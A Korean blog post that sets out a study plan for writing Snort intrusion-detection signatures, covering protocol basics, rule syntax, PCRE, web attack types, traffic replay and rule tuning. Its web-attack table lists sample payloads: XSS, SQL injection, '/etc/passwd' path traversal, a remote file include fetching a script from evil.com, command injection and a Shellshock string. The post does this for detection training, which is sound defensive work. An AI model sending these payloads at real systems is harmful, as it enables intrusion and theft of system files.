본문 바로가기
카테고리 없음

시그니처 공부 방법

by 의지의 엘린 2025. 4. 21.

🔰 1단계: 네트워크 보안 기초

목표: 네트워크 구조 및 보안 개념 이해

주제세부 내용실습
OSI 7계층 계층별 프로토콜 / 역할 OSI 레이어별 패킷 캡처 분석
TCP/IP 구조 TCP 3-way handshake, 포트, Flag Wireshark로 TCP/UDP 통신 캡처
주요 프로토콜 분석 HTTP, DNS, FTP, SMTP 구조 실제 요청 보내고 패킷 비교
IDS 개념 IDS vs IPS, Signature vs Heuristic Snort vs Suricata 구조 비교

🚦 2단계: Snort 기본 사용법 & 룰 작성 

목표: Snort의 동작 이해와 기본 룰 작성

주제세부 내용실습
Snort 설치 및 환경 구성 로컬 테스트 환경 (Kali, Ubuntu 등) 테스트 환경에서 Snort 설치
Snort 구조 이해 packet decoder → preprocessor → detection engine → output 각 모듈의 역할 확인
기본 Rule 작성법 alert, log, pass 등 Action Hello World 시그니처 작성
Rule 옵션 msg, sid, rev, classtype 등 옵션을 넣고 로그 확인

🧩 3단계: 고급 룰 옵션 & 정규표현식

목표: 다양한 공격 유형 탐지를 위한 고급 룰 작성

주제세부 내용실습
content 탐지 content, nocase, offset, depth, distance, within 다양한 위치 제한 실습
http_* 옵션 http_uri, http_method, http_header, http_cookie 웹 공격 탐지 룰 작성
PCRE (정규표현식) Snort의 PCRE 문법, 흔한 오용 케이스 alert tcp ... pcre:"/.../" 작성
Flow 제어 flow, stateful, stateless 차이 flow:to_server,established; 실습
Rule 튜닝 False Positive 최소화 전략 Signature 최적화 과제

🔬 4단계: 공격 탐지 및 시그니처 제작 실습

목표: 실제 공격을 기반으로 시그니처 작성

주제세부 내용실습
웹 취약점 기반 룰 XSS, SQLi, Path Traversal, RCE CVE 기반 시그니처 직접 작성
FTP/SMB/SSH 탐지 로그인 시도, Bruteforce, 취약 버전 탐지 Bruteforce 탐지 룰 실습
악성 URL 탐지 .exe, cmd, powershell 포함 URL 샘플 URL을 기반으로 룰 작성
테스트 도구 사용 Metasploit, Nikto, nmap 등 활용 공격 시나리오 → 탐지 실습

🎯 보너스: 실무형 과제

과제명목표
📄 CVE 기반 탐지룰 5개 작성 CVE-2022-XXXX 같은 공개 취약점을 분석해 룰 생성
🔎 False Positive 분석 리포트 기존 룰 중 오탐 사례를 찾아 로그 분석 후 개선안 제안
⚙️ 커스텀 Preprocessor 설정 Snort.conf 수정 → 특정 포트나 트래픽만 탐지하게 구성

📦 추천 실습 환경


🧠 실무 팁

  • 로그 분석용 barnyard2나 ELK Stack 연계 가능
  • 시그니처 검증은 반드시 실제 트래픽 기반 테스트 필수
  • Snort 룰에서 msg, sid, rev는 꼼꼼히 기록할 것
  • 다른 벤더의 룰도 참고해 (ET, Talos, etc.)

🧠 Snort 시그니처 개발을 위한 공부 항목 총정리


1️⃣ 네트워크 & 프로토콜 구조 이해

📌 왜? → 탐지 대상인 패킷 구조를 이해해야 정확한 룰 작성 가능

주제세부 항목
OSI 7계층 각 계층의 역할 (예: Layer 3 → IP, Layer 4 → TCP/UDP, Layer 7 → HTTP)
Ethernet MAC 주소 구조, EtherType (IPv4, IPv6 등)
IP IP Header 구조, IP ID, Protocol, TTL
TCP/UDP TCP Handshake, 플래그 (SYN/ACK), 포트 개념
HTTP/HTTPS Method (GET/POST), URI 구조, Header, Body
DNS A/AAAA/NS 레코드, Query 구조
TLS Client Hello / Server Hello 구조, SNI 등
Fragmentation IP 단위 조각화 이해, 재조립 공격(LFI/BYPASS) 대비

📚 추천 실습:

  • Wireshark로 HTTP GET, TCP Handshake, DNS Query 분석
  • Scapy로 커스텀 패킷 만들어 보기

2️⃣ Snort 탐지 엔진 구조 및 룰 문법

📌 왜? → Snort가 트래픽을 처리하는 내부 동작 이해 → 최적의 룰 작성 가능

주제세부 항목
Snort 동작 흐름 Decoder → Preprocessor → Detection Engine → Output
Rule 구조 alert tcp any any -> any 80 (msg:...; sid:...;)
Rule Action alert, pass, log, drop
Rule Header Protocol, IP/Port, Direction (->, <-)
Rule Options msg, content, offset, depth, http_uri, flow, sid, rev, metadata, classtype 등
Flow 제어 flow: to_server,established; 등

📚 추천 실습:

  • snort -c snort.conf -r test.pcap로 룰 적용 실습
  • 로그 확인: /var/log/snort/alert

3️⃣ 정규표현식(PCRE) 마스터

📌 왜? → 단순 문자열 content로 못 잡는 공격을 탐지하기 위해 필수

주제세부 항목
기본 문법 . * + ? {n} [] () `
고급 문법 Non-greedy (.*?), Lookahead/behind
PCRE 적용법 pcre:"/\/cgi-bin\/.*;/"; 형식, http_uri와 함께 사용 가능
탐지 예시 우회된 alert(1), /../../etc/passwd, Base64 인코딩된 XSS

📚 추천 실습:

  • regex101.com에서 공격 패턴 실험
  • Snort 룰 내 pcre: 사용해보기

4️⃣ 웹 기반 취약점 및 공격 기법 분석

📌 왜? → 룰의 탐지 대상이 되는 공격들을 구조적으로 이해해야 정확하게 탐지 가능

취약점설명 및 예시
XSS <script>alert(1)</script>, 이벤트 기반 XSS
SQLi ' OR 1=1 --, UNION SELECT, Blind SQL
LFI/RFI ?file=../../etc/passwd, ?url=http://evil.com/1.sh
Command Injection ; cat /etc/passwd, `
Path Traversal ../, %2e%2e%2f 등 디코딩 우회
RCE /cgi-bin/, Bash Injection (() { :; };)
기타 User-Agent 기반 공격, Referer, Cookie 사용 우회

📚 추천 실습:

  • OWASP DVWA에서 공격 시나리오 실행
  • 공격 URL 기반으로 Snort 룰 작성

5️⃣ 패킷 분석 및 트래픽 재현 기술

📌 왜? → 시그니처 검증을 위한 실트 기반 테스트 필수

주제세부 항목
Wireshark 필터링 (http.request, tcp.flags.syn==1, dns.qry.name 등)
tcpdump CLI 패킷 캡처 도구
tcpreplay PCAP 재생 (Snort에게 트래픽 강제로 전달)
공격 툴 curl, wget, Metasploit, Nikto 등으로 실제 트래픽 생성

📚 추천 실습:

  • Metasploitable, DVWA, Security Onion 이용한 테스트 환경 구성
  • curl, wget으로 악성 요청 수동 생성 → 룰 탐지 확인

6️⃣ Snort Rule 튜닝 및 최적화

📌 왜? → 성능 최적화 및 False Positive 최소화를 위해

주제세부 항목
탐지 범위 제한 offset, depth, within, distance 조절
프로토콜 지정 http_uri, http_method 등으로 Layer 7 한정
잘못된 탐지 피하기 pcre 사용 시 anchor (^, $) 사용, nocase 유무
시드 관리 sid 충돌 방지, 룰 버전 rev 업데이트 기준 설정

7️⃣ 실무 도구 및 시그니처 관리

📌 왜? → 팀 환경 또는 제품에서의 룰 운영 시 필수 역량

도구설명
barnyard2 Snort 로그 DB 연동 도구
PulledPork 룰 자동 업데이트 및 통합 관리
Security Onion Snort/Suricata/ELK 통합 보안 분석 플랫폼
ClamAV, YARA 파일 기반 악성코드 탐지 (룰 비교용)

💡 보너스: 시그니처 개발 실전 스텝 요약

  1. 공격 또는 취약점(CVE) 구조 분석
  2. 요청 트래픽 구조 파악 (Wireshark / 로그 확인)
  3. 핵심 탐지 문자열 도출 (URI, Header, Payload)
  4. Snort 룰 작성 (content, pcre, http_*)
  5. 트래픽 재현 (curl, tcpreplay)
  6. 로그 확인 및 룰 튜닝 (offset, pcre 조건 조정)